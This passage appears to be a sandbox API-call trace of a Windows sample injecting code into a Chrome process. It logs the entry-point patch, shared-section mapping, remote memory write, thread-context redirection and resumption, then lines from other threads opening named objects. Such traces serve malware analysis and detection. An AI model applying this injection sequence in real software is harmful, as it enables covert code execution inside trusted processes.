(lpLibFileName="api-ms-win-core-localization-obsolete-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0078.544] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0078.546] PathFindFileNameW (pszPath="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=watcher --main-thread-id=2932 --on-initialized-event-handle=392 --parent-handle=396 /prefetch:6") returned="6" [0078.546] StrChrW (lpStart="6", wMatch=0x20) returned 0x0 [0078.546] StrChrW (lpStart="6", wMatch=0x22) returned 0x0 [0078.546] lstrlenW (lpString="6") returned 1 [0078.546] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x4) returned 0x1ee0de0 [0078.546] _wcsupr (in: _String=0x1ee0de0 | out: _String="6") returned="6" [0078.546] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0de0 | out: hHeap=0x1ee0000) returned 1 [0078.546] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=watcher --main-thread-id=2932 --on-initialized-event-handle=392 --parent-handle=396 /prefetch:6", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2ff5a0*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2ff588 | out: lpCommandLine="\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" --type=watcher --main-thread-id=2932 --on-initialized-event-handle=392 --parent-handle=396 /prefetch:6", lpProcessInformation=0x2ff588*(hProcess=0x194, hThread=0x190, dwProcessId=0xbd4, dwThreadId=0xbd8)) returned 1 [0078.580] IsWow64Process (in: hProcess=0x194, Wow64Process=0x2fef30 | out: Wow64Process=0x2fef30) returned 1 [0078.580] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x1000) returned 0x22dee30 [0078.581] NtQueryInformationProcess (in: ProcessHandle=0x194, ProcessInformationClass=0x0, ProcessInformation=0x2fec58, ProcessInformationLength=0x30, ReturnLength=0x2fef38 | out: ProcessInformation=0x2fec58, ReturnLength=0x2fef38) returned 0x0 [0078.582] NtReadVirtualMemory (in: ProcessHandle=0x194, BaseAddress=0x7fffffd4000, Buffer=0x2fec90, NumberOfBytesToRead=0x268, NumberOfBytesRead=0x2fef38 | out: Buffer=0x2fec90*, NumberOfBytesRead=0x2fef38*=0x268) returned 0x0 [0078.583] NtReadVirtualMemory (in: ProcessHandle=0x194, BaseAddress=0x13f510000, Buffer=0x22dee30, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x2fef30 | out: Buffer=0x22dee30*, NumberOfBytesRead=0x2fef30*=0x1000) returned 0x0 [0078.583] NtReadVirtualMemory (in: ProcessHandle=0x194, BaseAddress=0x13f510148, Buffer=0x22dee30, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x2fef30 | out: Buffer=0x22dee30*, NumberOfBytesRead=0x2fef30*=0x1000) returned 0x0 [0078.583] NtReadVirtualMemory (in: ProcessHandle=0x194, BaseAddress=0x13f5f0598, Buffer=0x2fec30, NumberOfBytesToRead=0x28, NumberOfBytesRead=0x2fef30 | out: Buffer=0x2fec30*, NumberOfBytesRead=0x2fef30*=0x28) returned 0x0 [0078.586] NtReadVirtualMemory (in: ProcessHandle=0x194, BaseAddress=0x13f5d3a00, Buffer=0x22dee30, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x2fef30 | out: Buffer=0x22dee30*, NumberOfBytesRead=0x2fef30*=0x1000) returned 0x0 [0078.593] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dee30 | out: hHeap=0x1ee0000) returned 1 [0078.595] NtReadVirtualMemory (in: ProcessHandle=0x194, BaseAddress=0x13f5437e0, Buffer=0x2fef50, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x2fef58 | out: Buffer=0x2fef50*, NumberOfBytesRead=0x2fef58*=0x4) returned 0x0 [0078.595] VirtualProtectEx (in: hProcess=0x194, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2ff478 | out: lpflOldProtect=0x2ff478*=0x20) returned 1 [0078.653] NtWriteVirtualMemory (in: ProcessHandle=0x194, BaseAddress=0x13f5437e0, Buffer=0x2ff488*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x2fef00 | out: Buffer=0x2ff488*, NumberOfBytesWritten=0x2fef00*=0x4) returned 0x0 [0078.653] VirtualProtectEx (in: hProcess=0x194, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x2ff478 | out: lpflOldProtect=0x2ff478*=0x40) returned 1 [0078.653] ResumeThread (hThread=0x190) returned 0x1 [0078.653] Sleep (dwMilliseconds=0x64) [0078.798] SuspendThread (hThread=0x190) returned 0x0 [0078.798] NtGetContextThread (in: ThreadHandle=0x190, Context=0x2fef60 | out: Context=0x2fef60*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x11, Rcx=0x13f510000, Rdx=0x1, Rbx=0x13f5d3a08, Rsp=0x27f0d8, Rbp=0x77265468, Rsi=0x1, Rdi=0x302980, R8=0x0, R9=0x3012f0, R10=0x16, R11=0x16, R12=0x13f5437e0, R13=0x0, R14=0x771b9bc0, R15=0x0, Rip=0x13f5437e0, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0078.829] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0078.857] NtCreateSection (in: SectionHandle=0x2fee68, DesiredAccess=0xf001f, ObjectAttributes=0x2feea0*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x2fee70, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x2fee68*=0x19c) returned 0x0 [0078.858] NtMapViewOfSection (in: SectionHandle=0x19c, ProcessHandle=0xffffffffffffffff, BaseAddress=0x2fee60*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x2fee28*=0, ViewSize=0x2fedf0*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x2fee60*=0x2d70000, SectionOffset=0x2fee28*=0, ViewSize=0x2fedf0*=0x136000) returned 0x0 [0078.858] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0078.885] NtMapViewOfSection (in: SectionHandle=0x19c, ProcessHandle=0x194, BaseAddress=0x2fee50*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x2fee28*=0, ViewSize=0x2fedf0*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x2fee50*=0x1da0000, SectionOffset=0x2fee28*=0, ViewSize=0x2fedf0*=0x136000) returned 0x0 [0078.886] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0078.888] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x318) returned 0x22dc5d0 [0078.888] NtAllocateVirtualMemory (in: ProcessHandle=0x194, BaseAddress=0x2fe8d0*=0x0, ZeroBits=0x0, RegionSize=0x2fe8d8*=0x318, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x2fe8d0*=0x70000, RegionSize=0x2fe8d8*=0x1000) returned 0x0 [0078.888] NtGetContextThread (in: ThreadHandle=0x190, Context=0x2fe920 | out: Context=0x2fe920*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x11, Rcx=0x13f510000, Rdx=0x1, Rbx=0x13f5d3a08, Rsp=0x27f0d8, Rbp=0x77265468, Rsi=0x1, Rdi=0x302980, R8=0x0, R9=0x3012f0, R10=0x16, R11=0x16, R12=0x13f5437e0, R13=0x0, R14=0x771b9bc0, R15=0x0, Rip=0x13f5437e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0078.989] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0078.989] NtWriteVirtualMemory (in: ProcessHandle=0x194, BaseAddress=0x70000, Buffer=0x22dc5d0*, NumberOfBytesToWrite=0x318, NumberOfBytesWritten=0x2fee10 | out: Buffer=0x22dc5d0*, NumberOfBytesWritten=0x2fee10*=0x318) returned 0x0 [0078.990] NtSetContextThread (ThreadHandle=0x190, Context=0x2fe920*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x70000, Rcx=0x13f510000, Rdx=0x1, Rbx=0x13f5d3a08, Rsp=0x27f0d8, Rbp=0x77265468, Rsi=0x1, Rdi=0x302980, R8=0x0, R9=0x3012f0, R10=0x16, R11=0x16, R12=0x13f5437e0, R13=0x0, R14=0x771b9bc0, R15=0x0, Rip=0x70218, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0078.990] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0078.990] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dc5d0 | out: hHeap=0x1ee0000) returned 1 [0078.990] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x2d70000) returned 0x0 [0079.001] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0079.001] CloseHandle (hObject=0x19c) returned 1 [0079.001] VirtualProtectEx (in: hProcess=0x194, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2ff478 | out: lpflOldProtect=0x2ff478*=0x20) returned 1 [0079.001] NtWriteVirtualMemory (in: ProcessHandle=0x194, BaseAddress=0x13f5437e0, Buffer=0x2fef50*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x2fef00 | out: Buffer=0x2fef50*, NumberOfBytesWritten=0x2fef00*=0x4) returned 0x0 [0079.002] VirtualProtectEx (in: hProcess=0x194, lpAddress=0x13f5437e0, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x2ff478 | out: lpflOldProtect=0x2ff478*=0x40) returned 1 [0079.002] ResumeThread (hThread=0x190) returned 0x1 [0080.825] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0080.825] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\uxtheme.dll", hFile=0x0, dwFlags=0x8) returned 0x7fefba00000 [0080.827] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0080.832] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0080.832] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\uxtheme.dll", hFile=0x0, dwFlags=0x8) returned 0x7fefba00000 [0080.832] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0080.837] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0080.837] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\uxtheme.dll", hFile=0x0, dwFlags=0x8) returned 0x7fefba00000 [0080.837] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0080.837] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0080.837] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\uxtheme.dll", hFile=0x0, dwFlags=0x8) returned 0x7fefba00000 [0080.837] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0088.026] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0088.026] LoadLibraryExW (lpLibFileName="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", hFile=0x0, dwFlags=0x8) returned 0x77040000 [0088.026] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0088.232] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0088.232] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\audioses.dll", hFile=0x0, dwFlags=0x8) returned 0x7fef7760000 [0088.241] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0088.241] LoadLibraryExW (lpLibFileName="propsys.dll", hFile=0x0, dwFlags=0x22) returned 0x7fefba60000 [0088.241] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 [0088.244] GetModuleHandleA (lpModuleName="CHROME_CHILD.DLL") returned 0x0 Thread: id = 61 os_tid = 0xb88 [0072.347] OpenEventA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned 0xf0 [0072.347] WaitForMultipleObjects (nCount=0x2, lpHandles=0x286fca0*=0xa8, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 62 os_tid = 0xb8c [0072.347] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 0xf4 [0072.347] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 0xf8 [0072.347] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 0xfc [0072.347] SetLastError (dwErrCode=0xb7) [0072.347] CreateEventA (lpEventAttributes=0x1db8880, bManualReset=1, bInitialState=0, lpName="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 0x100 [0072.348] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 0x104 [0072.348] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 0x108 [0072.348] SetLastError (dwErrCode=0xb7) [0072.348] OpenWaitableTimerA 